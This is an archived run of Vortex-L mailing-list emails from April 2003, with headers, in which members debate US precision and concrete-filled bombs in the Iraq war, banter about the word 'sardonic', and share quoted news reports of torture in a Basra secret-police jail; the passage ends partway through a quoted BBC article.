vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 103 Jed, Thanks for brining this up - I had heard about this and found it pretty darn amazing. Regrettably, I'm pretty sure we don't yet have concrete 'bombs' but I think eventually we will, and I for one think this is a very good thing. I'm quite curious as to why you feel disarming Saddam's regime was unjustified, though, as even the UN agreed on that point. Best, Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Jed Rothwell" To: Sent: Tuesday, April 08, 2003 5:32 PM Subject: Commendation for missing the target | Last night the news showed one of these high tech video-game style views of | the war in Iraq. It showed a laser targeting an abandoned truck full of | ammunition on a road. Another vehicle approached just as the bomb fell, and | the person targeting the laser deliberately moved the laser ~20 meters | away, pointing into a river. The bomb fell into the water and probably did | not hurt the people in the second vehicle. Since this was featured on the | news I expect the pilot got a commendation. | | This is something new to history. I doubt that in any previous conflict an | army bragged that it deliberately missed a target in order to spare | civilian lives. That is a waste of expensive ordnance, and more to the | point, it was a waste of critical time and precious resources, and it meant | the pilot and the aircraft took a risk and then threw away the benefit. | | I do not think much of the U.S. political leaders. I do not think the war | was justified -- despite the obvious benefits it may bring to most Iraqi | people if political reform succeeds. But you have to hand it to the U.S. | military. It is astounding how careful they have been, at great risk to | their own lives. | | Another example of this is the fact that they are dropping concrete bombs | on some urban targets. I mean bombs filled with concrete, not explosives. | They have deliberately set the clock back 1,500 years to the technology of | catapults and Trebuchets! Again, that means soldiers are risking their | lives and aircraft that cost millions of dollars, and instead of dropping | ordnance that will explode and almost certainly kill the enemy or destroy | the target, they are dropping concrete, even though concrete is less likely | to destroy the target effectively. The only reason they do this is to | prevent collateral damage to civilians and civilian property. | | Re: concrete bombs: | | http://www.defenselink.mil/news/Mar2003/t03052003_t305targ.html | | - Jed | | From vortexb-l-request@eskimo.com Tue Apr 8 15:49:38 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id PAA26052; Tue, 8 Apr 2003 15:46:18 -0700 Resent-Date: Tue, 8 Apr 2003 15:46:18 -0700 Message-Id: <5.2.0.9.2.20030408182523.02722aa0@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Tue, 08 Apr 2003 18:46:06 -0400 To: vortexB-L@eskimo.com From: Jed Rothwell Subject: Re: Commendation for missing the target In-Reply-To: <000701c2fe1c$da8fed00$1202a8c0@WorkGroup> References: <5.2.0.9.2.20030408170820.026a1dc8@pop.mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"dVwuS2.0.vM6.w4ra-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1628 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 104 Dave N. wrote: >Thanks for brining this up - I had heard about this and found it pretty >darn amazing. >Regrettably, I'm pretty sure we don't yet have concrete 'bombs' but I >think eventually we will . . . The Pentagon briefing I cited and an article in Slate gave me the impression they are using concrete bombs already, in the field. It isn't hard to make them! See: http://slate.msn.com/id/2081236/ >I'm quite curious as to why you feel disarming Saddam's regime was >unjustified, though, as even >the UN agreed on that point. I feel this way for the reasons I listed in an earlier message on Vortex, titled, "OFF TOPIC Would you risk your life for this cause?" I personally would not be willing to risk my life to free the Iraqi people, so I could not, in good conscience, ask another American to do it. I think the likelihood of success is small. Of course I do not mean that the military outcome is open to question! I mean that the politics, history, tribal rivalry and most of all the oil will soon drag Iraq back into the nightmare, with some new strongman in charge. Vested interests in the Middle East and the U.S. strongly favor tyranny, poverty and exploitation, mainly to keep oil prices low. This cynical term "regime change" means exactly what it says: Bush and the rest of the oil industry want a new dictator who will stay under their thumb this time. I fear that Iraq will soon revert back into chaos and fundamentalist hatred of the U.S., just as Afghanistan is doing, and just as the Confederacy did after the Civil War, until 1965. We have no technological miracle weapons that can prevent that. I fear that our soldiers will have died in vain, just as they did in 1918. - Jed From vortexb-l-request@eskimo.com Tue Apr 8 16:44:40 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id QAA20095; Tue, 8 Apr 2003 16:40:21 -0700 Resent-Date: Tue, 8 Apr 2003 16:40:21 -0700 Mime-Version: 1.0 X-Sender: rick@mail.highsurf.com Message-Id: In-Reply-To: <5.2.0.9.2.20030408170820.026a1dc8@pop.mindspring.com> References: <5.2.0.9.2.20030408170820.026a1dc8@pop.mindspring.com> Date: Tue, 8 Apr 2003 13:40:05 -1000 To: vortexb-l@eskimo.com From: Rick Monteverde Subject: Re: Commendation for missing the target Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id QAA20058 Resent-Message-ID: <"ImySM2.0.wv4.btra-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1629 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 105 Jed - The explosive content of the bombs has now in some cases been rendered unnecessary by their accuracy. This is a development Nikola Tesla predicted even with respect to nuclear weapons in around 1919, saying that even if it was possible to develop them (a big debate at the time), they would be made obselete by the accuracy and quantity of warhead delivery systems. A few years ago he was proved correct - can't remember a reference to it, but I read the newspaper article where it was being claimed by some defense folks that with the new pinpoint accuracy of even ballistic delivery systems, conventional explosives could do the damage needed even on very hard targets like missle silos, etc. - RM >Another example of this is the fact that they are dropping concrete bombs on some urban targets. I mean bombs filled with concrete, not explosives. They have deliberately set the clock back 1,500 years to the technology of catapults and Trebuchets! Again, that means soldiers are risking their lives and aircraft that cost millions of dollars, and instead of dropping ordnance that will explode and almost certainly kill the enemy or destroy the target, they are dropping concrete, even though concrete is less likely to destroy the target effectively. The only reason they do this is to prevent collateral damage to civilians and civilian property. > >Re: concrete bombs: > >http://www.defenselink.mil/news/Mar2003/t03052003_t305targ.html From vortexb-l-request@eskimo.com Tue Apr 8 18:39:28 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id SAA03256; Tue, 8 Apr 2003 18:31:13 -0700 Resent-Date: Tue, 8 Apr 2003 18:31:13 -0700 Message-ID: <3E93788D.7070802@bellsouth.net> Date: Tue, 08 Apr 2003 21:34:05 -0400 From: Terry Blanton User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Commendation for missing the target References: <5.2.0.9.2.20030408170820.026a1dc8@pop.mindspring.com> <5.2.0.9.2.20030408182523.02722aa0@pop.mindspring.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <"tYbzV2.0.oo.XVta-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1630 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 106 Jed Rothwell wrote: > Dave N. wrote: > >> Thanks for brining this up - I had heard about this and found it >> pretty darn amazing. >> Regrettably, I'm pretty sure we don't yet have concrete 'bombs' but I >> think eventually we will . . . > > > The Pentagon briefing I cited and an article in Slate gave me the > impression they are using concrete bombs already, in the field. Yes, and quite effectively! http://www.motherjones.com/news_wire/concrete.html From vortexb-l-request@eskimo.com Tue Apr 8 18:41:11 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id SAA05990; Tue, 8 Apr 2003 18:37:11 -0700 Resent-Date: Tue, 8 Apr 2003 18:37:11 -0700 Message-ID: <3E9379F5.3080706@bellsouth.net> Date: Tue, 08 Apr 2003 21:40:05 -0400 From: Terry Blanton User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Commendation for missing the target References: <5.2.0.9.2.20030408170820.026a1dc8@pop.mindspring.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <"0ld-j3.0.UT1.7bta-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1631 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 107 Rick Monteverde wrote: >A few years ago he was proved correct - can't remember a reference to it, but I read the newspaper article where it was being claimed by some defense folks that with the new pinpoint accuracy of even ballistic delivery systems, conventional explosives could do the damage needed even on very hard targets like missle silos, etc. > Space Command concurs that these inertia weapons, directed from LEO, would be as effective as more polluting strategic weapons. Read Niven and Pournelle's "Footfall". Kewl aliens! From vortexb-l-request@eskimo.com Tue Apr 8 18:58:33 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id SAA13300; Tue, 8 Apr 2003 18:56:11 -0700 Resent-Date: Tue, 8 Apr 2003 18:56:11 -0700 Message-ID: <000801c2fe3a$d482dee0$af0e2b42@compaq> From: "Eddie X" To: References: <012a01c2fd33$7422eac0$1202a8c0@WorkGroup> <013901c2fd36$4db58c00$1202a8c0@WorkGroup> <003e01c2fdba$beef66a0$9a0e2b42@compaq> <006c01c2fde5$1a7664e0$1202a8c0@WorkGroup> Subject: Re: Hmm... Date: Tue, 8 Apr 2003 18:28:31 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Resent-Message-ID: <"9VRrw.0.gF3.xsta-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1632 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 108 seriousely i did not. define sardonic. ----- Original Message ----- From: "Dave N." To: Sent: Tuesday, April 08, 2003 8:39 AM Subject: Re: Hmm... > Eddie, > > Did you seriously not get the humor there, or are you just being sardonic? > > Best, > > Dave > > > When the oppressed joyfully embrace their liberators, remember those who acted to keep them > enslaved. > > > ----- Original Message ----- > From: "Eddie X" > To: > Sent: Tuesday, April 08, 2003 6:29 AM > Subject: Re: Hmm... > > > | what explains alot dave? > | > | Ed X > | > | ----- Original Message ----- > | From: "Dave N." > | To: > | Sent: Monday, April 07, 2003 11:40 AM > | Subject: Hmm... > | > | > | > This explains a lot... > | > > | > http://www.nationallampoon.com/news/truefacts/tf_photos.asp# > | > > | > Dave! > | > > | > > | > When the oppressed joyfully embrace their liberators, remember those who > | acted to keep them > | > enslaved. > | > > | > > | > | > > From vortexb-l-request@eskimo.com Tue Apr 8 19:45:26 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id TAA31861; Tue, 8 Apr 2003 19:42:07 -0700 Resent-Date: Tue, 8 Apr 2003 19:42:07 -0700 Mime-Version: 1.0 X-Sender: rick@mail.highsurf.com Message-Id: In-Reply-To: <000801c2fe3a$d482dee0$af0e2b42@compaq> References: <012a01c2fd33$7422eac0$1202a8c0@WorkGroup> <013901c2fd36$4db58c00$1202a8c0@WorkGroup> <003e01c2fdba$beef66a0$9a0e2b42@compaq> <006c01c2fde5$1a7664e0$1202a8c0@WorkGroup> <000801c2fe3a$d482dee0$af0e2b42@compaq> Date: Tue, 8 Apr 2003 16:41:55 -1000 To: vortexb-l@eskimo.com From: Rick Monteverde Subject: Re: Hmm... Content-Type: text/plain; charset="us-ascii" Resent-Message-ID: <"SyhZI2.0.mn7._Xua-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1633 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 109 Eddie - >define sardonic. Define dictionary. The word sardonic comes from the name of a legendary plant. Eat it and you laugh like crazy for a while, then you suddenly die. Feeling ok? - RM From vortexb-l-request@eskimo.com Tue Apr 8 21:14:09 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id VAA04638; Tue, 8 Apr 2003 21:09:47 -0700 Resent-Date: Tue, 8 Apr 2003 21:09:47 -0700 Message-ID: <3E939D22.7050006@ghiocel.com> Date: Tue, 08 Apr 2003 21:10:10 -0700 From: Dan Ghiocel Reply-To: dan@ghiocel.com User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 X-Accept-Language: en-us, en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Commendation for missing the target References: <5.2.0.9.2.20030408170820.026a1dc8@pop.mindspring.com> <5.2.0.9.2.20030408182523.02722aa0@pop.mindspring.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <"PlhHo.0.K81.Bqva-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1634 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 110 Jed, While I guess it sounds very impressive and probably "cool" the concrete bomb idea, scientifically speaking,what would be the reasons for such a use? Just a cheap show off to tell the world how great we are we can afford to "throw rocks to the enemy?" What would the military and strategic advantages would be? I know is funny to watch the war like a video game, but one should not loose sight that there are people dying, countries destroyed in the process. While I understand that the trend is for bigger more powerful bombs, at the mountains destroying level (20000 lbs bombs in Afganistan? against the Hindukush Mountains!) I am not sure I see the use of the concrete bombs as likely. Actually, it is interesting that this war was fabricated agains the international fabric of traditions and rules, supposedly to find some weapons of mass destruction, but of course there is none to find. It is too bad for poor iraqis that they have too much oil! Sure, probably it will be ironical after all this propaganda barrage, but I would not be surprised if the only one to use weapons of mass destruction will be the US (like in Japan to cut the war short!) . I guess, Sadam and the iraqis should have given up their country faster, not to try the patience of some world interests! Dan G. From vortexb-l-request@eskimo.com Tue Apr 8 21:52:35 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id VAA19929; Tue, 8 Apr 2003 21:51:15 -0700 Resent-Date: Tue, 8 Apr 2003 21:51:15 -0700 Message-ID: <000f01c2fe53$5158a5e0$af0e2b42@compaq> From: "Eddie X" To: References: <012a01c2fd33$7422eac0$1202a8c0@WorkGroup> <013901c2fd36$4db58c00$1202a8c0@WorkGroup> <003e01c2fdba$beef66a0$9a0e2b42@compaq> <006c01c2fde5$1a7664e0$1202a8c0@WorkGroup> <000801c2fe3a$d482dee0$af0e2b42@compaq> Subject: Re: Hmm... Date: Tue, 8 Apr 2003 21:48:45 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Resent-Message-ID: <"9qZx_2.0.Jt4.3Rwa-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1635 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 111 Feeling just fine. Why do you ask? ----- Original Message ----- From: "Rick Monteverde" To: Sent: Tuesday, April 08, 2003 7:41 PM Subject: Re: Hmm... > Eddie - > > >define sardonic. > > Define dictionary. > > The word sardonic comes from the name of a legendary plant. Eat it and you laugh like crazy for a while, then you suddenly die. Feeling ok? > > - RM > From vortexb-l-request@eskimo.com Tue Apr 8 23:32:49 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id XAA18752; Tue, 8 Apr 2003 23:29:52 -0700 Resent-Date: Tue, 8 Apr 2003 23:29:52 -0700 Message-ID: <003001c2fe61$61e251a0$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030408170820.026a1dc8@pop.mindspring.com> <5.2.0.9.2.20030408182523.02722aa0@pop.mindspring.com> Subject: Re: Commendation for missing the target Date: Wed, 9 Apr 2003 02:27:46 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"zWxmj3.0.va4.Vtxa-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1636 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 112 Jed, | >Regrettably, I'm pretty sure we don't yet have concrete 'bombs' but I | >think eventually we will . . . | | The Pentagon briefing I cited and an article in Slate gave me the | impression they are using concrete bombs already, in the field. It isn't | hard to make them! See: | | http://slate.msn.com/id/2081236/ I read that, and the DOD link you referenced earlier, neither specified that they were currently using concrete bombs. I'm almost positive we don't have them yet (although it wouldn't take much to take an iron bomb and fill it with concrete). I know I haven't heard mention of one being used, and I've been following this war extremely closely (maybe *too* closely!). If they were, I would think they would be shouting it from the rooftops because that would be a *major* public relations coup on the military's part. | >I'm quite curious as to why you feel disarming Saddam's regime was | >unjustified, though, as even | >the UN agreed on that point. | | I feel this way for the reasons I listed in an earlier message on Vortex, | titled, "OFF TOPIC Would you risk your life for this cause?" I personally | would not be willing to risk my life to free the Iraqi people, so I could | not, in good conscience, ask another American to do it. I think the | likelihood of success is small. I would agree with you - except for the fact that we have an all volunteer armed forces. For myself, I can't in good conscious say that I would risk my life to free Iraq because I'm past the age they normally accept for combat positions. I think it's BS to say you would put your life on the line when realistically there's little chance it could happen (even though I would score well on the physicals and other aptitudes). If called though, I would do what I could. | Of course I do not mean that the military outcome is open to question! I | mean that the politics, history, tribal rivalry and most of all the oil | will soon drag Iraq back into the nightmare, with some new strongman in | charge. Vested interests in the Middle East and the U.S. strongly favor | tyranny, poverty and exploitation, mainly to keep oil prices low. This | cynical term "regime change" means exactly what it says: Bush and the rest | of the oil industry want a new dictator who will stay under their thumb | this time. One big exception to that region is Turkey. Also, if all we wanted was oil, why wouldn't we have taken it during the first gulf war? Or for that matter, invaded Venezuela or Mexico, who present much less of a military risk than Iraq did? Oil is part of it, yes, and oil was part of W.W.II and every conflict afterwards, since it's a major strategic resource. But it sure wasn't the only reason, and it's not like we aren't going to pay the Iraqis for their oil! | I fear that Iraq will soon revert back into chaos and fundamentalist hatred | of the U.S., just as Afghanistan is doing, and just as the Confederacy did | after the Civil War, until 1965. We have no technological miracle weapons | that can prevent that. I fear that our soldiers will have died in vain, | just as they did in 1918. Where do you get the idea that Afghanistan is reverting to chaos and hatred of the US? Are you reading the New York Times again? ; ) And the Confederacy?! Maybe they were sore about losing the war for a couple decades, but the whole country *including the south* got along well enough to fight together in four major foreign wars between the Civil War and 1965, five if you count Vietnam. Granted, they had it in for blacks, Jews and other 'mud people' (as those masters of tolerance the KKK called them) until the civil rights movement turned it around, but it's not like they kept sending commando squads to attack cities North of the Mason-Dixon after the Civil War ended. We do have a 'miracle weapon' to prevent a post war disaster, BTW, it's called freedom plus democracy. Look at South Korea and the former Soviet bloc countries. Last I checked most of them liked us just fine, and some fought with us in this war, notably Poland. Looks like it worked pretty good there! All of this, of course, is dependent on our leaders having planned the peace as well or better than they did the war. Pray they did! Best, Dave PS Wow, I actually had a rational, constructive discussion with someone about politics on this list... I should buy that lottery ticket. ; ) From vortexb-l-request@eskimo.com Wed Apr 9 08:41:33 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA04599; Wed, 9 Apr 2003 08:35:47 -0700 Resent-Date: Wed, 9 Apr 2003 08:35:47 -0700 Message-ID: <002201c2fead$a18c02a0$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030408170820.026a1dc8@pop.mindspring.com> <5.2.0.9.2.20030408182523.02722aa0@pop.mindspring.com> <3E939D22.7050006@ghiocel.com> Subject: Re: Commendation for missing the target Date: Wed, 9 Apr 2003 11:33:32 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"6T8qB.0.o71.Jt3b-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1637 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 113 Jed (& Dan), Jed, it looks like both Dan and I were wrong and you were right! http://www.platosrepublic.com/concrete.html They've been using concrete 'bombs' since at least 1999! I'm floored that the military wouldn't be shouting this fact from the rooftops. These guys need to hire some better PR reps. Jed, the advantage of using a concrete bomb is you kill less civilians and destroy less infrastructure. The military and strategic advantage to this is that it makes them good guys instead of bad guys. People like to kill bad guys and help good guys. Got it now? Best, Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Dan Ghiocel" To: Sent: Wednesday, April 09, 2003 12:10 AM Subject: Re: Commendation for missing the target | Jed, | While I guess it sounds very impressive and probably "cool" the concrete | bomb idea, scientifically speaking,what would be the reasons for such a | use? Just a cheap show off to tell the world how great we are we can | afford to "throw rocks to the enemy?" What would the military and | strategic advantages would be? I know is funny to watch the war like a | video game, but one should not loose sight that there are people dying, | countries destroyed in the process. While I understand that the trend | is for bigger more powerful bombs, at the mountains destroying level | (20000 lbs bombs in Afganistan? against the Hindukush Mountains!) I am | not sure I see the use of the concrete bombs as likely. | Actually, it is interesting that this war was fabricated agains the | international fabric of traditions and rules, supposedly to find some | weapons of mass destruction, but of course there is none to find. It is | too bad for poor iraqis that they have too much oil! Sure, probably it | will be ironical after all this propaganda barrage, but I would not be | surprised if the only one to use weapons of mass destruction will be the | US (like in Japan to cut the war short!) . | I guess, Sadam and the iraqis should have given up their country faster, | not to try the patience of some world interests! | Dan G. | | | From vortexb-l-request@eskimo.com Wed Apr 9 08:47:09 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA09268; Wed, 9 Apr 2003 08:42:43 -0700 Resent-Date: Wed, 9 Apr 2003 08:42:43 -0700 Message-ID: <003601c2feae$9ab7da20$1202a8c0@WorkGroup> From: "Dave N." To: References: <012a01c2fd33$7422eac0$1202a8c0@WorkGroup> <013901c2fd36$4db58c00$1202a8c0@WorkGroup> <003e01c2fdba$beef66a0$9a0e2b42@compaq> <006c01c2fde5$1a7664e0$1202a8c0@WorkGroup> <000801c2fe3a$d482dee0$af0e2b42@compaq> Subject: Re: Hmm... Date: Wed, 9 Apr 2003 11:40:43 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"yxJos2.0.hG2.pz3b-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1638 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 114 Eddie, Sorry, I put the wrong link in. My bad. Here it is: http://www.nationallampoon.com/news/truefacts/archives/photo/03_26_2003.asp Also, check this out, this dictionary rocks: http://www.onelook.com/ Bet you never heard anyone say that about a dictionary before! Best, Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Eddie X" To: Sent: Tuesday, April 08, 2003 9:28 PM Subject: Re: Hmm... | seriousely i did not. define sardonic. | | | ----- Original Message ----- | From: "Dave N." | To: | Sent: Tuesday, April 08, 2003 8:39 AM | Subject: Re: Hmm... | | | > Eddie, | > | > Did you seriously not get the humor there, or are you just being sardonic? | > | > Best, | > | > Dave | > | > | > When the oppressed joyfully embrace their liberators, remember those who | acted to keep them | > enslaved. | > | > | > ----- Original Message ----- | > From: "Eddie X" | > To: | > Sent: Tuesday, April 08, 2003 6:29 AM | > Subject: Re: Hmm... | > | > | > | what explains alot dave? | > | | > | Ed X | > | | > | ----- Original Message ----- | > | From: "Dave N." | > | To: | > | Sent: Monday, April 07, 2003 11:40 AM | > | Subject: Hmm... | > | | > | | > | > This explains a lot... | > | > | > | > http://www.nationallampoon.com/news/truefacts/tf_photos.asp# | > | > | > | > Dave! | > | > | > | > | > | > When the oppressed joyfully embrace their liberators, remember those | who | > | acted to keep them | > | > enslaved. | > | > | > | > | > | | > | | > | > | | From vortexb-l-request@eskimo.com Wed Apr 9 14:28:20 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id OAA26701; Wed, 9 Apr 2003 14:24:23 -0700 Resent-Date: Wed, 9 Apr 2003 14:24:23 -0700 Message-ID: <007001c2fedc$feace880$1202a8c0@WorkGroup> From: "Dave N." To: References: <012a01c2fd33$7422eac0$1202a8c0@WorkGroup> <013901c2fd36$4db58c00$1202a8c0@WorkGroup> <003e01c2fdba$beef66a0$9a0e2b42@compaq> <006c01c2fde5$1a7664e0$1202a8c0@WorkGroup> <000801c2fe3a$d482dee0$af0e2b42@compaq> <003601c2feae$9ab7da20$1202a8c0@WorkGroup> Subject: Tell us again why you opposed the US in this war! Date: Wed, 9 Apr 2003 17:14:14 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"C5Kqi2.0.8X6.7-8b-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1639 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 115 Two sources for this story, one from the right leaning news, the other from the way left. This is also a good example of how media can use a 'subtle' bias. Notice it's not what they report as much as what they *leave out* of a story. - Dave http://www.foxnews.com/story/0,2933,83619,00.html Iraqis Tell of Torture in Secret Police Jail Tuesday, April 08, 2003 BASRA, Iraq ? Iraqis showed journalists a white stone jail where they claim Saddam Hussein's secret police for decades tortured inmates with beatings, mutilations, electric shocks and chemical baths. The jail, known as the "White Lion," was charred and half-demolished Tuesday after two days of bombing by British forces fighting for control of Basra, Iraq's second-largest city. People taken behind the jail's sandstone facade usually did not come out, residents said. Hundreds of Iraqis came to see the now-empty jail, according to British press reports. Relatives of missing inmates checked fingerprinted files and lists of names found amid the fallen bricks. "It was a place of evil," resident Hamed Fattil said. Hamed told British reporters that Iraqi police locked him and his two brothers in a jail dungeon in 1991, and that he was freed after eight months but his brothers were still missing. "They used to strap a leather cord around our head, hands and shoulders and hoist us two feet off the ground. Then they would beat us as we hung there," Hamed said. "They did unthinkable things -- electrocution, immersion in a bath of chemicals and ripping off people's finger and toenails." The jail basement was a warren of cells, chambers and cages where the ground was strewn with an insect-eaten gas mask and bottles, according to Associated Press Television News footage. For the cameras, two men re-enacted how jailers allegedly tortured prisoners. One man, hands tied behind his back with a rope attached to a hook on the ceiling, bent over while another man pantomimed hitting him on the back and the face with his hands and a long, white rod. One man shuddered while the other gave him a pretend electric shock. Outside the jail, a man showed APTN his mangled ears. Hamed took British reporters into a yard behind the jail into a set of white boxy cells, surrounded by red wire mesh with a low, wire roof. He said some of the cells, which had red doors with large bolts, were used to hold women and children. He also said hundreds of men were kept in a single cell about the size of a living room, which had one rusted grate window. Between the men's and women's cells was a long mesh cage. Hamed said here, jailers pressed prisoners against the mesh and squeezed hot irons against their backs or threw scalding water on them in front of other inmates. +++++ http://news.bbc.co.uk/2/hi/middle_east/2930739.stm Inside Saddam's torture chamber By Bill Neely Basra, southern Iraq Saddam Hussein's Iraq was a state of terror, and the security apparatus was at the heart of it. As I walked into the secret police headquarters in Basra - which is now in British hands - I met former inmates and ordinary Iraqis had been terrified to come here until now. The secret police building is now a bombed out shell What was to follow was a horrific education in terror. In the smoking basement of the bombed building was a warren of cells where prisoners had been tortured. "People died, people were imprisoned without trial," one man told me. We went further down, to cells that had no light and little air. They were covered with cockroaches and filth - and on the ground I saw a gas mask and bottles of chemicals. One man said he had spent eight years inside, just for attending Friday prayers. He prayed too much and was seen as a 